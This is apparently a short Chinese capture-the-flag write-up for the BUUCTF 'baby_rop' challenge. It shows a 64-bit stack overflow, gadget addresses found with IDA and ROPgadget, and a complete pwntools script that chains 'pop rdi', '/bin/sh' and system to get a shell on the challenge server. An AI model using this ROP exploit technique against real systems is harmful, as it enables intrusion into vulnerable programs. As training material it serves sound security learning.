[BUUCTF]PWN17——[HarekazeCTF2019]baby_rop
步骤:
例行检查,64位,开启了NX保护
试运行一下程序,看这个情况,当我们输入太长字符串的时候会报错
64位ida载入,shift+f12查看程序里的字符串,看到了system 和 ‘/bin/sh’
双击跟进,ctrl+x查看一下哪里调用了字符串,没有找到函数,只找到了地址
shell=0x601048
system=0x400496
找到输入点,没有限制v4读入的数据,可以造成溢出,跟pwn16差不多,唯一的区别就是64位程序传参需要用到寄存器,我们找一下设置rdi寄存器的位置
ROPgadget --binary babyrop |grep "pop rdi"
rdi=0x400683
EXP:
from pwn import*
r=remote('node3.buuoj.cn',25853)
shell=0x601048
system=0x400496
rdi=0x400683
payload='a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)
r.sendline(payload)
r.interactive()
flag不在根目录下,需要我们找一下,利用find -name flag找一下